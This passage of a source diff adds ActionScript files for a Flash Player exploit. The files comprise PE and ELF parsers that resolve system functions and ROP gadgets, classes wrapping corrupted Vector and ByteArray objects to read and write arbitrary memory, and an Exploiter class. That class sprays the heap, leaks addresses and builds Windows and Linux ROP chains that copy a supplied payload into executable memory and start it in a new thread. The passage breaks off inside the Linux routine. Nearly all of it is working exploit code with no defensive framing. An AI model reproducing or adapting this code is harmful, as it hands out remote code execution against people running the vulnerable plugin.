if (!entry) throw new Error("FAIL!");
|
||||||
|
mod_name = eba.read_string(addr + entry, name.length)
|
||||||
|
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||||
|
}
|
||||||
|
|
||||||
|
public function procedure(name:String, addr:uint):uint
|
||||||
|
{
|
||||||
|
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||||
|
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||||
|
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||||
|
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||||
|
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||||
|
var proc_name:String
|
||||||
|
|
||||||
|
for (var i:uint = 0; ; i++) {
|
||||||
|
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||||
|
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||||
|
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||||
|
}
|
||||||
|
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||||
|
{
|
||||||
|
var find:uint = 0
|
||||||
|
var contents:uint = 0
|
||||||
|
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < limit - 4; i++) {
|
||||||
|
contents = eba.read(addr + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return addr + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,37 @@
|
||||||
|
// Build with Flex SDK 4.6 + AIR 3.1
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.events.Event
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function Exploit():void
|
||||||
|
{
|
||||||
|
//trace("Got to checkpoint 0");
|
||||||
|
if (stage) init();
|
||||||
|
else addEventListener(Event.ADDED_TO_STAGE, init);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function init(e:Event = null):void
|
||||||
|
{
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
removeEventListener(Event.ADDED_TO_STAGE, init);
|
||||||
|
Logger.log('TryExpl...')
|
||||||
|
MyClass.TryExpl(this, platform, payload)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,75 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>, length:uint)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
original_length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,367 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var magic:uint
|
||||||
|
private var magic_arg0:uint
|
||||||
|
private var magic_arg1:uint
|
||||||
|
private var magic_object:uint
|
||||||
|
private var magic_table:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stub_address:uint
|
||||||
|
private var stub_space_object:uint
|
||||||
|
private var stub:Vector.<uint> = new Vector.<uint>(8)
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv, uv_length)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
static function Magic(...a){}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
|
||||||
|
// mov eax,[esp+0x4]
|
||||||
|
// xchg eax,esp
|
||||||
|
// rets
|
||||||
|
stub[0] = 0x0424448B
|
||||||
|
stub[1] = 0x0000C394
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
spray[i][4] = Magic
|
||||||
|
spray[i][5] = stub
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
magic = ev.at(pos + 4) - 1
|
||||||
|
stub_space_object = ev.at(pos + 5) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
stub_address = ev.read(stub_space_object + 0x18)
|
||||||
|
magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0)
|
||||||
|
magic_table = ev.read(magic_object)
|
||||||
|
magic_arg0 = ev.read(magic + 0x1c)
|
||||||
|
magic_arg1 = ev.read(magic + 0x20)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake stack on memory
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
for (var i:uint; i < 0x100; i++) {
|
||||||
|
eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4))
|
||||||
|
}
|
||||||
|
|
||||||
|
// VirtualProtect the stub with a *reliable* stackpivot
|
||||||
|
eba.write(stack_address + 8 + 0x80 + 28, virtualprotect)
|
||||||
|
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
|
||||||
|
eba.write(magic + 0x1c, stub_address)
|
||||||
|
eba.write(magic + 0x20, 0x10)
|
||||||
|
var args:Array = new Array(0x41)
|
||||||
|
Magic.call.apply(null, args);
|
||||||
|
|
||||||
|
// Call to our stackpivot and init the rop chain
|
||||||
|
eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8)
|
||||||
|
eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored)
|
||||||
|
eba.write(magic + 0x1c, stack_address + 0x18000)
|
||||||
|
Magic.call.apply(null, null);
|
||||||
|
eba.write(magic_object, magic_table);
|
||||||
|
eba.write(magic + 0x1c, magic_arg0)
|
||||||
|
eba.write(magic + 0x20, magic_arg1)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
var mprotect:uint = libc.symbol("mprotect")
|
||||||
|
var mmap:uint = libc.symbol("mmap")
|
||||||
|
var clone:uint = libc.symbol("clone")
|
||||||
|
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||||
|
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||||
|
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
// 1) Recover original vtable
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
// 2) Recover original stack
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||||
|
|
||||||
|
// my_memcpy
|
||||||
|
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||||
|
eba.write(0, "\x57", false) // push edi
|
||||||
|
eba.write(0, "\x51", false) // push ecx
|
||||||
|
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||||
|
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||||
|
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||||
|
